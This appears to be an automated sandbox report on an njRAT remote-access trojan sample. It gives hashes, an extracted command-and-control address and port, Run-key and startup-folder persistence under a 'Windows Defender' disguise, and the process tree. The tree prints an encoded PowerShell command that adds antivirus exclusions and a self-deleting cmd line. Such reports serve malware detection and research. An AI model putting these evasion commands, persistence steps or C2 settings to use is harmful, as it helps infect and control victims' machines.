Analysis
-
max time kernel
117s -
max time network
119s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
28-01-2024 15:14
Static task
static1
Behavioral task
behavioral1
Sample
6ADD6FA3EA74FFCBA90B3630ACDE5182.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
6ADD6FA3EA74FFCBA90B3630ACDE5182.exe
Resource
win10v2004-20231222-en
General
-
Target
6ADD6FA3EA74FFCBA90B3630ACDE5182.exe
-
Size
76KB
-
MD5
6add6fa3ea74ffcba90b3630acde5182
-
SHA1
cd202aa598e13a57e6d2bb8c614eb3122d6fb280
-
SHA256
1092849f2f8f3fb0d1f89f0bff367d0a0f1f138fe5eb45b56f0a970b1677e4be
-
SHA512
b57f846773f78fda8ba5c8b4b718d092d9037df788d0ea41954d6170bc1e35391ab10d8d12658b8be26e31a16deb78e665c74d5fdc44d11c8bf8216af3ff794b
-
SSDEEP
1536:I8R7MJTttj9U5XvdKygf7oFOepKmqwBCmDqorCMCX9QKkW:lCftjK5FKZf+OfwcmZ2RX9QLW
Malware Config
Extracted
njrat
Njrat 0.7 Golden By Hassan Amiri
Svchost
95.173.255.238:4444
Windows Defender
-
reg_key
Windows Defender
-
splitter
|Hassan|
Signatures
-
Drops startup file 2 IoCs
Processes:
Svchost.exedescription ioc process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows Defender.exe Svchost.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows Defender.exe Svchost.exe -
Executes dropped EXE 2 IoCs
Processes:
Server.exeSvchost.exepid process 2684 Server.exe 1520 Svchost.exe -
Loads dropped DLL 1 IoCs
Processes:
Server.exepid process 2684 Server.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
Svchost.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows Defender = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\Svchost.exe\" .." Svchost.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Defender = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\Svchost.exe\" .." Svchost.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Runs .reg file with regedit 1 IoCs
Processes:
regedit.exepid process 2776 regedit.exe -
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2824 powershell.exe -
Suspicious behavior: GetForegroundWindowSpam 2 IoCs
Processes:
Server.exeSvchost.exepid process 2684 Server.exe 1520 Svchost.exe -
Suspicious use of AdjustPrivilegeToken 12 IoCs
Processes:
powershell.exeSvchost.exedescription pid process Token: SeDebugPrivilege 2824 powershell.exe Token: SeDebugPrivilege 1520 Svchost.exe Token: 33 1520 Svchost.exe Token: SeIncBasePriorityPrivilege 1520 Svchost.exe Token: 33 1520 Svchost.exe Token: SeIncBasePriorityPrivilege 1520 Svchost.exe Token: 33 1520 Svchost.exe Token: SeIncBasePriorityPrivilege 1520 Svchost.exe Token: 33 1520 Svchost.exe Token: SeIncBasePriorityPrivilege 1520 Svchost.exe Token: 33 1520 Svchost.exe Token: SeIncBasePriorityPrivilege 1520 Svchost.exe -
Suspicious use of WriteProcessMemory 22 IoCs
Processes:
6ADD6FA3EA74FFCBA90B3630ACDE5182.exeServer.exeSvchost.execmd.exedescription pid process target process PID 2984 wrote to memory of 2824 2984 6ADD6FA3EA74FFCBA90B3630ACDE5182.exe powershell.exe PID 2984 wrote to memory of 2824 2984 6ADD6FA3EA74FFCBA90B3630ACDE5182.exe powershell.exe PID 2984 wrote to memory of 2824 2984 6ADD6FA3EA74FFCBA90B3630ACDE5182.exe powershell.exe PID 2984 wrote to memory of 2684 2984 6ADD6FA3EA74FFCBA90B3630ACDE5182.exe Server.exe PID 2984 wrote to memory of 2684 2984 6ADD6FA3EA74FFCBA90B3630ACDE5182.exe Server.exe PID 2984 wrote to memory of 2684 2984 6ADD6FA3EA74FFCBA90B3630ACDE5182.exe Server.exe PID 2984 wrote to memory of 2684 2984 6ADD6FA3EA74FFCBA90B3630ACDE5182.exe Server.exe PID 2984 wrote to memory of 2776 2984 6ADD6FA3EA74FFCBA90B3630ACDE5182.exe regedit.exe PID 2984 wrote to memory of 2776 2984 6ADD6FA3EA74FFCBA90B3630ACDE5182.exe regedit.exe PID 2984 wrote to memory of 2776 2984 6ADD6FA3EA74FFCBA90B3630ACDE5182.exe regedit.exe PID 2684 wrote to memory of 1520 2684 Server.exe Svchost.exe PID 2684 wrote to memory of 1520 2684 Server.exe Svchost.exe PID 2684 wrote to memory of 1520 2684 Server.exe Svchost.exe PID 2684 wrote to memory of 1520 2684 Server.exe Svchost.exe PID 1520 wrote to memory of 2888 1520 Svchost.exe cmd.exe PID 1520 wrote to memory of 2888 1520 Svchost.exe cmd.exe PID 1520 wrote to memory of 2888 1520 Svchost.exe cmd.exe PID 1520 wrote to memory of 2888 1520 Svchost.exe cmd.exe PID 2888 wrote to memory of 1624 2888 cmd.exe PING.EXE PID 2888 wrote to memory of 1624 2888 cmd.exe PING.EXE PID 2888 wrote to memory of 1624 2888 cmd.exe PING.EXE PID 2888 wrote to memory of 1624 2888 cmd.exe PING.EXE
Processes
-
C:\Users\Admin\AppData\Local\Temp\6ADD6FA3EA74FFCBA90B3630ACDE5182.exe"C:\Users\Admin\AppData\Local\Temp\6ADD6FA3EA74FFCBA90B3630ACDE5182.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2984 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGUAYQB6ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAZgBsACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHUAdQBsACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGQAZwBnACMAPgA="2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2824 -
C:\Users\Admin\AppData\Local\Temp\Server.exe"C:\Users\Admin\AppData\Local\Temp\Server.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of WriteProcessMemory
PID:2684 -
C:\Users\Admin\AppData\Local\Temp\Svchost.exe"C:\Users\Admin\AppData\Local\Temp\Svchost.exe"3⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1520 -
C:\Windows\SysWOW64\cmd.execmd.exe /c ping 0 -n 2 & del "C:\Users\Admin\AppData\Local\Temp\Svchost.exe"4⤵
- Suspicious use of WriteProcessMemory
PID:2888 -
C:\Windows\SysWOW64\PING.EXEping 0 -n 25⤵
- Runs ping.exe
PID:1624 -
C:\Windows\regedit.exe"regedit.exe" "C:\Users\Admin\AppData\Local\Temp\ZulaHAX.reg"2⤵
- Runs .reg file with regedit
PID:2776
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\Server.exeFilesize
43KB
MD53d5e301c8221356991a5522034c5b907
SHA1d71baabd5d474aa4aabc865e2ca73db578c71a6d
SHA256c69616a4c334e550278446c2404e5ac5b896938179ade3a64afcfdf19b254e21
SHA5129bb1feab4689858fd3034b64d9549ecc60a54a7c8f7e70eff22730855e375921c27901dcdc50e812266b1a80a269dfab2a4df82e8feba65e51e99d162501fc13
-
C:\Users\Admin\AppData\Local\Temp\ZulaHAX.regFilesize
281B
MD5682e7f391ab8b4da7f66c32606e72d40
SHA1246ba406ea9993dcef6c0924e4aa81acefc74209
SHA2563cf29dc045b5c52fca23b16e252dd4d19d18faae0a2ccae3c3543259bbb456dc
SHA512a1ddffc1f9441373b8c3214a221c840e420dadf4b9709578551886340d6a026bdaed142ea8dca164f536414292becad05795e9c8136d82ba1c3f9ff8bb0419d5
-
memory/1520-42-0x00000000001C0000-0x0000000000200000-memory.dmpFilesize
256KB
-
memory/1520-45-0x00000000001C0000-0x0000000000200000-memory.dmpFilesize
256KB
-
memory/1520-44-0x00000000001C0000-0x0000000000200000-memory.dmpFilesize
256KB
-
memory/1520-43-0x00000000745E0000-0x0000000074B8B000-memory.dmpFilesize
5.7MB
-
memory/1520-40-0x00000000745E0000-0x0000000074B8B000-memory.dmpFilesize
5.7MB
-
memory/1520-39-0x00000000001C0000-0x0000000000200000-memory.dmpFilesize
256KB
-
memory/1520-37-0x00000000745E0000-0x0000000074B8B000-memory.dmpFilesize
5.7MB
-
memory/1520-46-0x00000000745E0000-0x0000000074B8B000-memory.dmpFilesize
5.7MB
-
memory/2684-38-0x00000000745E0000-0x0000000074B8B000-memory.dmpFilesize
5.7MB
-
memory/2684-27-0x00000000745E0000-0x0000000074B8B000-memory.dmpFilesize
5.7MB
-
memory/2684-23-0x00000000745E0000-0x0000000074B8B000-memory.dmpFilesize
5.7MB
-
memory/2684-26-0x0000000000CD0000-0x0000000000D10000-memory.dmpFilesize
256KB
-
memory/2776-28-0x0000000000490000-0x0000000000491000-memory.dmpFilesize
4KB
-
memory/2824-17-0x0000000002410000-0x0000000002418000-memory.dmpFilesize
32KB
-
memory/2824-25-0x00000000025A0000-0x0000000002620000-memory.dmpFilesize
512KB
-
memory/2824-24-0x000007FEF2040000-0x000007FEF29DD000-memory.dmpFilesize
9.6MB
-
memory/2824-22-0x00000000025A4000-0x00000000025A7000-memory.dmpFilesize
12KB
-
memory/2824-21-0x000007FEF2040000-0x000007FEF29DD000-memory.dmpFilesize
9.6MB
-
memory/2824-20-0x00000000025A0000-0x0000000002620000-memory.dmpFilesize
512KB
-
memory/2824-19-0x000007FEF2040000-0x000007FEF29DD000-memory.dmpFilesize
9.6MB
-
memory/2824-16-0x000000001B2F0000-0x000000001B5D2000-memory.dmpFilesize
2.9MB
-
memory/2984-0-0x0000000000FD0000-0x0000000000FE8000-memory.dmpFilesize
96KB
-
memory/2984-18-0x000007FEF5730000-0x000007FEF611C000-memory.dmpFilesize
9.9MB
-
memory/2984-2-0x000000001AF30000-0x000000001AFB0000-memory.dmpFilesize
512KB
-
memory/2984-1-0x000007FEF5730000-0x000007FEF611C000-memory.dmpFilesize
9.9MB